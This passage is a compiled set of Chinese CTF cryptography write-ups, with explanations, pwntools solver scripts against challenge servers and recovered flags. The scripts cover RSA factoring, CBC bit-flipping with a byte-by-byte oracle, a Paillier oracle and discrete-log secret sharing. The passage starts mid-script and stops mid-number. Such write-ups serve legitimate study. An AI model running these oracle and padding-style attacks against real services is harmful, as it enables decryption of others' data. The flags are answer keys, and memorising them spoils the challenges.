+ c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
+ return c
+
+m2ans = {}
+cnt = 0
+for i in range(1, 5):
+ with open(f'gao_log_{i}', 'r') as f:
+ s = f.read()
+
+
+ for sline in s.splitlines():
+ m, ans = map(int, sline.split(','))
+ m2ans[m] = ans
+ cnt += 1
+
+print(len(m2ans))
+conn = remote('47.104.85.225', 57811)
+# SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef
+s = conn.recvline().strip().decode()
+s2 = s[10:22]
+ans = s[-64:]
+
+for i in itertools.product(string.ascii_letters + string.digits, repeat=4):
+ s1 = ''.join(i)
+ ss = s1 + s2
+ if (sha256(ss.encode()).hexdigest() == ans):
+ conn.sendline(s1)
+ break
+for i in range(32):
+ conn.recvuntil('n = ')
+ n = conn.recvline()
+ n = int(n)
+
+ conn.recvuntil('g = ')
+ g = conn.recvline()
+ g = int(g)
+
+ conn.sendlineafter('Please give me one decimal ciphertext.', '2')
+ conn.recvuntil('This is the corresponding plaintext.\n')
+ mm = conn.recvline()
+ mm = int(mm)
+
+ conn.sendlineafter('Give me m0.', '40343')
+ conn.sendlineafter('Give me m1.', '52051')
+ conn.recvuntil('This is a ciphertext.\n')
+ c = conn.recvline()
+ c = int(c)
+
+ mm = 2
+ c2 = enc(n, g, mm)
+ cc = (c * c2) % (n ** 2)
+ conn.sendlineafter('Please give me one decimal ciphertext', str(cc))
+ conn.recvuntil('This is the corresponding plaintext.\n')
+ m2 = conn.recvline()
+ m2 = int(m2)
+ if (m2 in m2ans):
+ print('Find')
+ conn.sendlineafter('m1 -> c1)?', str(m2ans[m2]))
+ else:
+ print('Guess')
+ conn.sendlineafter('m1 -> c1)?', '0')
+ s = conn.recvuntil('!')
+ if (b'Sorry') in s:
+ print(f'GG {i}')
+ conn.close()
+ break
+
+conn.interactive()
+
+flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}
+
+Writeup from https://zhuanlan.zhihu.com/p/402690414
+ + + + + + + + +Category: Cryptography
+Source: 巅峰极客赛 2021
+Author: unknown
+Score: 25
+一个图片加密脚本, 函数f(x)
被隐藏了, 但给了提示, 是logistic map
, (在b站看下视频, 数学真的好神奇啊).而且参数rr是最大合法值, 也就是44, 那么函数f(x)
为
f(x)=4x(1−x)f(x)=4x(1−x)
+然后就是对着加密流程写解密了…. 没有啥特别的 逆着加密过程写解密就行, p0,c0就那几个值爆破就行, 一开始随便拿101,201试了下…直接对了
+from decimal import *
+from PIL import Image
+import numpy as np
+from time import time
+getcontext().prec = 20
+
+
+R = Decimal(4)
+r1 = Decimal('0.478706063089473894123')
+r2 = Decimal('0.613494245341234672318')
+r3 = Decimal('0.946365754637812381837')
+const = 10 ** 14
+im = Image.open(
+ r'flag_enc.bmp'
+)
+size = im.size
+w,h = size
+im = np.array(im)
+
+
+
+def f(x):
+ return Decimal(4 * x * (1 - x))
+
+for i in range(200):
+ r1 = f(r1)
+ r2 = f(r2)
+ r3 = f(r3)
+
+S = time()
+p0 = 101
+c0 = 201
+for x in range(w):
+ for y in range(h):
+ k = int(round(const*r3))%256
+ k = bin(k)[2:].ljust(8,'0')
+ k = int(k[p0%8:]+k[:p0%8],2)
+ r3 = f(r3)
+ m0 = ((k ^ im[y,x] ^ c0 ) - k) % 256
+ c0 = im[y,x]
+ p0 = m0
+ im[y,x] = m0
+arr = []
+for x in range(w):
+ for y in range(h):
+ x1 = int(round(const*r1))%w
+ y1 = int(round(const*r2))%h
+ arr += [(x,y,x1,y1)]
+ r1 = f(r1)
+ r2 = f(r2)
+for z in arr[::-1]:
+ x,y,x1,y1 = z
+ tmp = im[y,x]
+ im[y,x] = im[y1,x1]
+ im[y1,x1] = tmp
+m = Image.new('P', size,'white')
+pixels = m.load()
+for i in range(m.size[0]):
+ for j in range(m.size[1]):
+ pixels[i,j] = (int(im[j][i]))
+m.save(r'flag.bmp')
+print(time()-S)
+
+
+
+
+
+
+
+
+
+ Category: Cryptography
+Source: 祥云杯2020
+Author: unknown
+Score: 25
+more factors,more strong
+from Crypto.Util.number import *
+from gmpy2 import next_prime
+
+
+p = getPrime(512)
+q = getPrime(512)
+
+
+n = p * q * next_prime(p) * next_prime(q)
+e = 0x10001
+
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+cipher = pow(bytes_to_long(flag), e, n)
+
+
+print(n, cipher)
+
+
+#8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257
+#330412463971933434999766363211057930667393277770584064857577467142742413428768098831412931259336108760624381952829861013179707826235130739683198539755539064015139113863343195174674815661046358247964556177919498180612989800987651789945084087556967597676515560844679920369992744883500475670715128104485967669553337375579827389250319475394899794765310069084188092544505917549431419860547502393956775040990721765429143061510225852399839423143679690263507799582947734731675473993898081429330428931841744349301970407316458550521765857021498915017512375703812538099605076157202198657393415547064109167866445108006571926
+
+四素数的RSA攻击,曾经考过,直接上脚本
+# -*- coding: utf-8 -*-
+
+
+from Crypto.Util.number import GCD, inverse, long_to_bytes
+import gmpy2
+n = 8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257
+c = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
+e = 0x10001
+def fermat_factorization(N):
+ Factor = []
+ gmpy2.get_context().precision = 2048
+ a = int(gmpy2.sqrt(N))
+ a2 = a * a
+ b2 = gmpy2.sub(a2, N)
+ while True:
+ a += 1
+ b2 = a * a - N
+ if gmpy2.is_square(b2):
+ b2 = gmpy2.mpz(b2)
+ gmpy2.get_context().precision = 2048
+ b = int(gmpy2.sqrt(b2))
+ Factor.append([a + b, a - b])
+ if len(Factor) == 2:
+ break
+ return Factor
+
+
+if __name__ == "__main__":
+ factor = fermat_factorization(n)
+ [X1, Y1] = factor[0]
+ [X2, Y2] = factor[1]
+ assert X1 * Y1 == n
+ assert X2 * Y2 == n
+ p1 = gmpy2.mpz(GCD(X1, X2))
+ p2 = gmpy2.mpz(X1 / p1)
+ q1 = gmpy2.mpz(GCD(Y1, Y2))
+ q2 = gmpy2.mpz(Y1 / q1)
+ assert p1 * p2 * q1 * q2 == n
+ phi = gmpy2.mpz(0)
+ phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
+ d = inverse(e, phi)
+ flag = long_to_bytes(pow(c, d, n))
+ print(flag)
+
+
+flag{2bef1a3e-5598-404e-b022-f593a230ce58}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2021
+Author: unknown
+Score: 10
+一把梭,好像不行哦。
+ +题目基于RSA,。题目给出flag加密的密文。
+题目给出了关于的提示:题目给了随机种子列表。对于每个随机种子,题目会基于这个随机种子生成一个随机数列表,每次都从列表里面指定位置抠掉一个数,并且给出其他数组成的列表;用被抠掉那个数作为流密钥,与的十进制表示字符串对应字节进行异或,得到一个密文。
+首先我们先尝试搞出:我们通过设随机种子,得到列表。发现只有python 2生成的列表才能对得上,所以我们需要用python 2跑程序,并生成正确的流密钥。然后就是异或得到。
+之后就是根据枚举,尝试是否不为1。若是的话,那这个值就是。进而得到的分解并对flag的密文进行解密。得到的代码如下:
+import random
+c2 = '[[58, 53, 122] [145, 124, 244] [5, 19, 192] [255, 23, 64] [57, 113, 194] [246, 205, 162] [112, 87, 95] [215, 147, 105] [16, 131, 38] [234, 36, 46] [68, 61, 146] [148, 61, 9] [139, 77, 32] [96, 56, 160] [121, 76, 17] [114, 246, 92] [178, 206, 60] [168, 147, 26] [168, 41, 68] [24, 93, 84] [175, 43, 88] [147, 97, 153] [42, 94, 45] [150, 103, 127] [68, 163, 62] [165, 37, 89] [219, 248, 59] [241, 182, 8] [140, 211, 146] [88, 226, 2] [48, 150, 56] [87, 109, 255] [227, 216, 65] [23, 190, 10] [5, 25, 64] [6, 12, 124] [53, 113, 124] [255, 192, 158] [61, 239, 5] [62, 108, 86] [123, 44, 64] [195, 192, 30] [30, 82, 95] [56, 178, 165] [68, 77, 239] [106, 247, 226] [17, 46, 114] [91, 71, 156] [157, 43, 182] [146, 6, 42] [148, 143, 161] [108, 33, 139] [139, 169, 157] [71, 140, 25] [28, 153, 26] [241, 221, 235] [28, 131, 141] [159, 111, 184] [47, 206, 11] [220, 152, 157] [41, 213, 97] [4, 220, 10] [77, 13, 248] [94, 140, 110] [25, 250, 226] [218, 102, 109] [189, 238, 66] [91, 18, 131] [23, 239, 190] [159, 33, 72] [183, 78, 208] [209, 213, 101] [111, 50, 220] [166, 104, 233] [170, 144, 10] [187, 87, 175] [195, 59, 104] [165, 179, 179] [99, 247, 153] [195, 61, 100] [223, 159, 165] [230, 93, 184] [87, 28, 35] [35, 122, 38] [158, 188, 163] [229, 192, 222] [12, 12, 192] [207, 95, 224] [127, 113, 137] [22, 114, 143] [13, 45, 144] [70, 140, 211] [57, 101, 42] [132, 62, 129] [40, 128, 124] [1, 132, 161] [164, 33, 133] [252, 201, 32] [8, 18, 247] [1, 88, 55] [201, 135, 186] [101, 254, 125] [236, 196, 39] [148, 24, 103] [101, 29, 253] [97, 156, 64] [90, 103, 91] [50, 48, 80] [206, 22, 93] [11, 114, 174] [61, 132, 247] [215, 32, 232] [95, 128, 90] [57, 35, 228] [163, 143, 107] [178, 250, 28] [64, 107, 225] [106, 115, 207] [85, 134, 21] [118, 201, 76] [234, 34, 22] [241, 236, 122] [111, 185, 127] [1, 26, 164] [254, 57, 117] [243, 27, 32] [161, 88, 80] [50, 165, 93] [87, 182, 216] [184, 159, 63] [167, 166, 123] [37, 78, 33] [186, 81, 58] [48, 3, 239] [70, 186, 13] [56, 108, 178] [54, 55, 235] [105, 180, 105] [16, 194, 98] [136, 11, 41] [18, 203, 79] [185, 114, 170] [148, 181, 223] [118, 57, 160] [23, 250, 181] [235, 219, 228] [44, 151, 38] [185, 224, 134] [42, 162, 122] [3, 9, 158] [129, 245, 2] [66, 241, 92] [80, 124, 36]]'
+res2 = [55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
+seeds2 = [4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]
+
+c2 = eval(c2.replace('] [', '], ['))
+myc = []
+for i in range(0, len(seeds2)):
+ random.seed(seeds2[i])
+ rands = []
+ for j in range(0,4):
+ rands.append(random.randint(0,255))
+ myc.append(rands[i % 4])
+
+dp = [x ^ y for x, y in zip(myc, res2)]
+dp = int(bytearray(dp))
+
+print(dp)
+
+得到的分解进而解密的代码如下:
+from Crypto.Util.number import *
+
+n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
+ct=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
+
+dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
+
+e=0x10001
+
+for k in range(1, 100000):
+ p = (e * dp - 1) // k + 1
+ if (n % p == 0):
+ break
+
+q = n // p
+d = inverse(e, (p-1)*(q-1))
+
+m = pow(ct, d, n)
+print(long_to_bytes(m))
+
+flag{74281db3-c6f0-e59a-4da6-39b8c71250fe}
+
+Writeup from https://zhuanlan.zhihu.com/p/402690414
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2020
+Author: unknown
+Score: 35
+CBC 翻转攻击使 message 前 8 字节为 get_flag,然后就是简单的逐字节爆破,我全都防出去了,防出去了啊。
+# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File : exp
+# @Author : Nonuplebroken <birkenwald.cn>
+# @Date : 2020-11-22
+from pwn import *
+import string
+import itertools
+from hashlib import sha384
+import re
+import base64
+
+
+
+def PoW(part, hash_value):
+ alphabet = string.ascii_letters + string.digits
+ for x in itertools.product(alphabet, repeat=3):
+ nonce = ''.join(x)
+ if sha384(nonce + part).hexdigest() == hash_value:
+ return nonce
+
+
+def xor(a, b):
+ assert len(a) == len(b)
+ return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])
+
+
+sh = remote('8.131.69.237', 15846)
+
+s1 = sh.recvuntil('Give me XXX:')
+re_res = re.search(r'sha384\(XXX\+([a-zA-Z0-9]{17})\) == ([0-9a-f]{96})', s1)
+part = re_res.group(1)
+hash_value = re_res.group(2)
+print 'part:', part
+print 'hash_value:', hash_value
+nonce = PoW(part, hash_value)
+print 'nonce:', nonce
+sh.sendline(nonce)
+
+_ = [sh.recvline() for i in range(8)]
+
+s1 = sh.recvline()
+s1 = base64.b64decode(s1)
+iv, c = s1[:8], s1[8:]
+print len(iv)
+print len(c)
+d_c1 = xor('Blowfish', iv)
+new_iv = xor(d_c1, 'get_flag')
+get_flag = base64.b64encode(new_iv + c)
+print get_flag
+
+flag = ''
+alphabet = 'flag{}-0123456789abcdef'
+# alphabet = string.printable
+for i in range(42):
+ sh.sendline(get_flag)
+ target_m = ('x' * (47 - i))
+ sh.sendline(target_m)
+ target_c = base64.b64decode(sh.recvline())
+ for x in alphabet:
+ sh.sendline(get_flag)
+ test_m = ('x' * (47 - i)) + flag + x
+ sh.sendline(test_m)
+ test_c = base64.b64decode(sh.recvline())
+ if test_c[:48] == target_c[:48]:
+ flag += x
+ print '[%02d/42] %s' % (i+1, flag)
+ break
+sh.interactive()
+
+
+flag{ba524422-7769-4d00-bd4d-6d6946c173ce}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2020
+Author: unknown
+Score: 25
+maybe u need more cpu
+import gmpy2
+from Crypto.Util.number import *
+
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+
+
+p = getStrongPrime(2048)
+for i in range(1, (p+1)//2):
+ s += pow(i, p-2, p)
+s = s % p
+q = gmpy2.next_prime(s)
+n = p*q
+e = 0x10001
+c = pow(bytes_to_long(flag), e, n)
+print(p)
+print(c)
+#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
+#35055918683748883282174784323651813560520737603185800227424500428762264933021511381871995418539707283801414497303232960090541986190867832897131815320508500774326925395739528242032566313216102210036548100374594081897428098804503420454038574457280610255242042832626554192534670284369336699175346822030007088865173250252079700270724860427575514471342164997149244044205247072315311115645755855836214700200464613652201134426101746190195358346246762242881016710707928119020973125199597600335220176686188732073999025860155060600538887296782517962617671450347555788381054344555539001456268680189452831160062315698482986474322296387716709989292671747978922668181058489406663507675599642320338049377613048817085979874567772781052867215035033348050642450667612710852648837001109914769887507004392552421783737965416800917979813137835262317794775319294801257483177741372991005066875900770459644762548438474388076655842822437141772648037236281057239552272508379892613346840960049192531743799845858272389712078645821963027561694961956409973354276629777068204456160534409039477757097372521171307620184694243888389707840806777932547158990704118642378158004690358831695861544319681913385236756504946707671037639508589887549565323717819837942112908652
+
+想求q,得先求s,又因为s是 pow(i, p-2, p) 的累和( i 从1到 (p+1)//2 ),可以费马小定理求p 和 (p+1)//2 -1 求逆元
+# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File : exp
+# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>
+# @Date : 2020-11-22
+import gmpy2
+from Crypto.Util.number import long_to_bytes
+p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
+s = gmpy2.invert(p, (p+1)//2-1)
+s = s % p
+q = gmpy2.next_prime(s)
+e = 0x10001
+phi = (p - 1) * (q - 1)
+d = gmpy2.invert(e, phi)
+n = p*q
+c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2021
+Author: unknown
+Score: 15
+我的第一次密码学导论作业, 参数的生成大家觉得怎样呢?nc 0.cloud.chals.io 33723
这题oracle等很久才能生成数(影响了我抢一血的速度)需要耐心等待。
+题目基于RSA,为1024位数,,加密过程为
+ + + +大概为1024位数
+ +题目给出和flag的密文。并且我们可以输入明文得到对应的密文。
+注意到
+ +也就是
+ +然后可以看成是对的带余除法。我们可以利用第一步的对应的(此时我们可以自己计算出来)可以直接得到的值。然后对开三次方可以开出来。
+然后就可以结合,用z3-solver
解出和。
之后就可以计算出和的值,并且利用除以得到RSA的密文,然后解RSA即可。
+过掉oracle的proof of work检测,然后等几分钟,拿到和,然后随便输入一个1
得到密文。将得到的值输入代码:
import gmpy2
+from z3 import *
+from Crypto.Util.number import *
+
+n = 121642065448176156473897179092419728921875357974980389083860655277565704825649889226444419608980002630759091596085557548487575346914669740739314941122290996740304245650872046561895900796258456608793055028467475091633433839705791878132565383650206725088639081180463351423103722622744738467167869749662990688979
+
+cc = 1136361046033913612036332714569670427841256258685140344055068620567475033294018028371032984703266206522526501010193123738345243273176762739282234315795608086725508770575402683003031958708516685141549840548134463272675351840929630389108825535204457117771682170437521557495770971608166831028637021920921360209937746104425491678161944802864369442195541546254091075147348470471884402144293370533562623258123204821582501280968271504384904817447094261612944693686431804933040510678517012219972815762511119200409624840705484711608894758448331870766284821627574717762202817452703132562199236232290523206855898302762507824719214766649522917767889370878378892167034276829407953963424463895887129146755081368470643425950316309913064297742492397168974520285387936917948771030039018332
+
+cf = 295318431540053515087200928667285571195873544800963850029171139457738083432353682348226869156528183688490148373759627896871330766900837785451589779523111914618842905371837548861785389600883467087532763343406914524095383977741052854917948885361134719361023858033122670278053750085303927034983764865067526075420830992291379676788114928196956733017730193604813935484846679831060231258082875209851746699146625709301590969332851864108352895567376700175971571387738401144667542370193792481515722502753499780996972280714436836825211823165098486303895898784162737206171512239610585374041011016685047322413395385902117183922652085520924218305511771316307760747269759565922379004659918873467812356832776152950611990185909516951703495925411981576965707961331962771430522666692227338
+
+m = 49
+e = 0x10001
+c = pow(m, e, n)
+cc = cc // c
+my = cc - 4 * n
+
+my1, ok = gmpy2.iroot(my, 3)
+
+p, q = Ints('p q')
+sol = Solver()
+ppq = int(ppq)
+sol.add(p + q == ppq)
+sol.add(p * q == n)
+if (sol.check() == sat):
+ m = sol.model()
+ p = m[p].as_long()
+ q = m[q].as_long()
+ x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
+ y = 2*p*q + p + q
+ cf = cf // (x + y)
+ mf = pow(cf, inverse(e, (p-1)*(q-1)), n)
+ print(long_to_bytes(mf))
+else:
+ print('GG simida')
+
+flag{ed649951-9ce9-46e0-a42b-d0ba588e43e1}
+
+Writeup from https://zhuanlan.zhihu.com/p/402690414
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2021
+Author: unknown
+Score: 35
+Here is running a secret sharing system. But if the server colludes with some clever users, the whole system will not be safe any more.nc 0.cloud.chals.io 19892
测试了一下,发现要用python 2运行服务端代码。
+题目基于离散对数,也就是,生成元和模素数在代码中给出。
+题目的加密如下:产生随机的,计算
+ + + +产生的密文为。
+并且题目还有一个二次加密:
+ + +产生的密文为
+一开始oracle给出一对,但是我们对flag加密所用的为。我们能知道flag对应密文。可以得到更多提示,但是我们需要过如下挑战:
+oracle每次生成一个200位的,然后进行一个rk_gen
rk_gen
是一个多项式生成,一开始生成一个,记,对。
这里会给出一个的值让我们知道。
+对encoder
观察得:
一开始是
+第一回就变成了
+第二回就变成了
+观察与归纳发现之后也满足这样的形式。
+由韦达定理,上面的也就可以看成是多项式的展开式之系数。
+并且实际给我们的时候,我们知道的是
+ +然后
+ + +并且把用加密后,再利用这里算出来的进行二次加密之后的结果告诉我们。需要我们给出的值。
+如果4次挑战成功,那么oracle提示我们这4次所产生的值之积。
+首先我们来看这个密码系统的解密:假设我们有的话,密文可以被写成
+ +所以
+ +这样我们就可以解得明文。
+接下来我们看挑战。实际上,挑战外部只有和参与了运算。我们的目的是求出挑战中的。
+先对二次加密的结果进行分析:
+ + + + +那么,如果我们已知的话,我们就可以通过模的阶为这一性质,求出和,进而根据上面密码系统的解密步骤解出明文,完成挑战。
+又,这里我们是知道的,所以我们只需要求的值。
+事实上,
+ +也就是说我们也是已知的。那么相当于说我们就可以有一个多项式。
+那么模的值就是!
+到这里,挑战解决:首先我们可以算出,进而算出并解密出,完成挑战。
+而挑战送我们的奖励也就是四个
+ +的乘积,而这里是不变的,所以我们可以算出,然后模意义下解方程得到,进而对flag对应密文进行解密即可。
+搞到提示的代码如下:
+# sage -python gao_2.py
+from pwn import *
+from sage.all import *
+from Crypto.Util.number import *
+from hashlib import sha256
+
+def h2(m):
+ return int(sha256(m).hexdigest(), 16)
+
+p = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3
+g = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577
+
+conn = remote('47.104.85.225', 62351)
+conn.sendlineafter('choice>', '1')
+conn.recvuntil('Please take good care of it!\n')
+s = conn.recvline()
+y, x = eval(s)
+
+conn.sendlineafter('choice>', '2')
+nlist = [33, 65, 129, 257]
+
+for n in nlist:
+ # n = 33 # 33
+ conn.recvuntil('The cipher shared to you\n')
+ s = conn.recvline()
+ c, (EE, VV, sr) = eval(s)
+ conn.recvuntil('prefix, encoder = ')
+ s = conn.recvline()
+ encoder, prefix_hex = eval(s)
+ prefix = int(prefix_hex, 16)
+ Y0 = pow(prefix, x, p)
+
+ P, (xx, ) = PolynomialRing(Zmod(p), 'xx').objgens()
+ f1 = xx ** n
+ for i in range(n):
+ f1 += xx ** (n-i-1) * encoder[i]
+
+ f2 = xx - Y0
+ ff = f1 % f2
+ r = int(ff)
+ d = h2(prefix_hex.decode('hex') + long_to_bytes(r).rjust(64, '\x00')) | 1
+ print(d)
+
+ d2 = inverse(d, p-1)
+ yev = pow(EE * VV, d2, p)
+ m = c * inverse(yev, p) % p
+ conn.sendline(hex(m)[2:])
+
+conn.interactive()
+
+然后得到提示和密文。解密的脚本如下:
+from Crypto.Util.number import *
+
+p = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3
+g = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577
+
+c, (E, V, s) = (5585968041074025086153882651703151644252825797961750029846368850560274818374166788547796736374559756281986206108084144666719010198655069698311903223194165L, (7907022716121671499111670222633646508450620325985407809966619468858884394742418166662560533967841329320157194633470489479583638083109335158547004325407745L, 8405942693799264870593925170154538171389476686350775031149946204774020645560022720688012855017145834685204712310735071692308136544637274001444374071172215L, 4472917796572038030768951841580005906571419088430724545004411546215611452075638469061832923050311132351135006369648270174176244462571628294865215006848977L))
+
+dlist = [88705054545798462592463535140496546230654103298029754196033655251576954884967,
+3171548216431031323271233816116991780227219532639047192797048831559660952785,
+115398379312678080372309706872824527861787247942202400632537054143103194010615,
+85791902547465660732182842994118602329957914363880964530800626818535559558315]
+
+rs = 0x17be2ea8187855e3a4ff52657728c70efa4d8d51a9afb3a59fceb1ef85b377613f0271008951a7fcdf741a97892ec4a61c724e49ddb7d46b0e735448d35a1f29L
+
+Zp = Zmod(p)
+
+d = Zp(1)
+for x in dlist:
+ d *= x
+
+rs = Zp(rs)
+s = rs * d ^ -1
+
+P.<x> = PolynomialRing(Zp)
+f = x^4 - s
+fr = f.roots()
+
+c, E, V = map(Zp, (c, E, V))
+
+for x1, po in fr:
+ x1 = int(x1)
+ yev = (E * V) ^ x1
+ m = c * yev ^ -1
+ m = int(m)
+ print(long_to_bytes(int(m)).encode('hex'))
+
+flag{504d0411-6707-469b-be31-9868200aca95}
+
+Writeup from https://zhuanlan.zhihu.com/p/402690414
+ + + + + + + + +Category: Cryptography
+Source: 祥云杯2020
+Author: unknown
+Score: 15
+Familiar and simple rsa
+from Crypto.Util.number import *import gmpy2
+
+p, q, r = [getPrime(512) for i in range(3)]
+n = p * q * r
+phi = (p - 1) * (q - 1) * (r - 1)
+d = getPrime(256)
+e = gmpy2.invert(d , phi)
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+
+c = pow(bytes_to_long(flag), e, n)
+
+print(e, n)
+print(c)
+
+三素数的RSA,曾经某个比赛还考过四素数的。其加密方式和常规RSA基本一致相同
+# -*- coding: utf-8 -*-
+from Crypto.Util.number import long_to_bytes
+e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
